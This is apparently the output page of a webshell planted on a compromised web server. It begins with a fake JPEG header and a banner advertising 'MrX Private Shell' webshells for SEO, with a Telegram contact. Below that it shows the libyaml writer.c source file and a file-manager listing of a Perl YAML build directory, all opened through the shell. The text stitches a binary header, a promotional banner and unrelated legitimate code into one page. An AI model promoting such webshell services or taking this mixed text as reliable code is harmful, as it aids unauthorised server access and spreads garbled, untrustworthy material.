����JFIF���������
__ __ __ __ _____ _ _ _____ _ _ _ | \/ | \ \ / / | __ \ (_) | | / ____| | | | | | \ / |_ __\ V / | |__) | __ ___ ____ _| |_ ___ | (___ | |__ ___| | | | |\/| | '__|> < | ___/ '__| \ \ / / _` | __/ _ \ \___ \| '_ \ / _ \ | | | | | | |_ / . \ | | | | | |\ V / (_| | || __/ ____) | | | | __/ | | |_| |_|_(_)_/ \_\ |_| |_| |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1 if you need WebShell for Seo everyday contact me on Telegram Telegram Address : @jackleetFor_More_Tools:
#include "yaml_private.h"
/*
* Declarations.
*/
static int
yaml_emitter_set_writer_error(yaml_emitter_t *emitter, const char *problem);
YAML_DECLARE(int)
yaml_emitter_flush(yaml_emitter_t *emitter);
/*
* Set the writer error and return 0.
*/
static int
yaml_emitter_set_writer_error(yaml_emitter_t *emitter, const char *problem)
{
emitter->error = YAML_WRITER_ERROR;
emitter->problem = problem;
return 0;
}
/*
* Flush the output buffer.
*/
YAML_DECLARE(int)
yaml_emitter_flush(yaml_emitter_t *emitter)
{
int low, high;
assert(emitter); /* Non-NULL emitter object is expected. */
assert(emitter->write_handler); /* Write handler must be set. */
assert(emitter->encoding); /* Output encoding must be set. */
emitter->buffer.last = emitter->buffer.pointer;
emitter->buffer.pointer = emitter->buffer.start;
/* Check if the buffer is empty. */
if (emitter->buffer.start == emitter->buffer.last) {
return 1;
}
/* If the output encoding is UTF-8, we don't need to recode the buffer. */
if (emitter->encoding == YAML_UTF8_ENCODING)
{
if (emitter->write_handler(emitter->write_handler_data,
emitter->buffer.start,
emitter->buffer.last - emitter->buffer.start)) {
emitter->buffer.last = emitter->buffer.start;
emitter->buffer.pointer = emitter->buffer.start;
return 1;
}
else {
return yaml_emitter_set_writer_error(emitter, "write error");
}
}
/* Recode the buffer into the raw buffer. */
low = (emitter->encoding == YAML_UTF16LE_ENCODING ? 0 : 1);
high = (emitter->encoding == YAML_UTF16LE_ENCODING ? 1 : 0);
while (emitter->buffer.pointer != emitter->buffer.last)
{
unsigned char octet;
unsigned int width;
unsigned int value;
size_t k;
/*
* See the "reader.c" code for more details on UTF-8 encoding. Note
* that we assume that the buffer contains a valid UTF-8 sequence.
*/
/* Read the next UTF-8 character. */
octet = emitter->buffer.pointer[0];
width = (octet & 0x80) == 0x00 ? 1 :
(octet & 0xE0) == 0xC0 ? 2 :
(octet & 0xF0) == 0xE0 ? 3 :
(octet & 0xF8) == 0xF0 ? 4 : 0;
value = (octet & 0x80) == 0x00 ? octet & 0x7F :
(octet & 0xE0) == 0xC0 ? octet & 0x1F :
(octet & 0xF0) == 0xE0 ? octet & 0x0F :
(octet & 0xF8) == 0xF0 ? octet & 0x07 : 0;
for (k = 1; k < width; k ++) {
octet = emitter->buffer.pointer[k];
value = (value << 6) + (octet & 0x3F);
}
emitter->buffer.pointer += width;
/* Write the character. */
if (value < 0x10000)
{
emitter->raw_buffer.last[high] = value >> 8;
emitter->raw_buffer.last[low] = value & 0xFF;
emitter->raw_buffer.last += 2;
}
else
{
/* Write the character using a surrogate pair (check "reader.c"). */
value -= 0x10000;
emitter->raw_buffer.last[high] = 0xD8 + (value >> 18);
emitter->raw_buffer.last[low] = (value >> 10) & 0xFF;
emitter->raw_buffer.last[high+2] = 0xDC + ((value >> 8) & 0xFF);
emitter->raw_buffer.last[low+2] = value & 0xFF;
emitter->raw_buffer.last += 4;
}
}
/* Write the raw buffer. */
if (emitter->write_handler(emitter->write_handler_data,
emitter->raw_buffer.start,
emitter->raw_buffer.last - emitter->raw_buffer.start)) {
emitter->buffer.last = emitter->buffer.start;
emitter->buffer.pointer = emitter->buffer.start;
emitter->raw_buffer.last = emitter->raw_buffer.start;
emitter->raw_buffer.pointer = emitter->raw_buffer.start;
return 1;
}
else {
return yaml_emitter_set_writer_error(emitter, "write error");
}
}
| Name | Type | Size | Permission | Actions |
|---|---|---|---|---|
| lib | Folder | 0755 |
|
|
| LibYAML.bs | File | 0 B | 0644 |
|
| LibYAML.c | File | 14.71 KB | 0644 |
|
| LibYAML.o | File | 305.26 KB | 0644 |
|
| LibYAML.xs | File | 6.84 KB | 0644 |
|
| License | File | 1.13 KB | 0644 |
|
| MYMETA.json | File | 889 B | 0644 |
|
| MYMETA.yml | File | 543 B | 0644 |
|
| Makefile | File | 29.59 KB | 0644 |
|
| Makefile.PL | File | 812 B | 0644 |
|
| api.c | File | 35.75 KB | 0644 |
|
| api.o | File | 307.51 KB | 0644 |
|
| config.h | File | 2.23 KB | 0644 |
|
| dumper.c | File | 9.83 KB | 0644 |
|
| dumper.o | File | 95.38 KB | 0644 |
|
| emitter.c | File | 64.82 KB | 0644 |
|
| emitter.o | File | 286.77 KB | 0644 |
|
| loader.c | File | 13.76 KB | 0644 |
|
| loader.o | File | 110.03 KB | 0644 |
|
| parser.c | File | 43.98 KB | 0644 |
|
| parser.o | File | 196.98 KB | 0644 |
|
| perl_libyaml.c | File | 60.95 KB | 0644 |
|
| perl_libyaml.h | File | 3.63 KB | 0644 |
|
| perl_libyaml.o | File | 601.5 KB | 0644 |
|
| pm_to_blib | File | 0 B | 0644 |
|
| ppport.h | File | 170.76 KB | 0644 |
|
| ppport_sort.h | File | 1012 B | 0644 |
|
| reader.c | File | 16.29 KB | 0644 |
|
| reader.o | File | 74.75 KB | 0644 |
|
| scanner.c | File | 96.61 KB | 0644 |
|
| scanner.o | File | 384.85 KB | 0644 |
|
| test.pl | File | 97 B | 0644 |
|
| update.sh | File | 673 B | 0755 |
|
| writer.c | File | 3.95 KB | 0644 |
|
| writer.o | File | 50.91 KB | 0644 |
|
| yaml.h | File | 53.16 KB | 0644 |
|
| yaml_private.h | File | 29.79 KB | 0644 |
|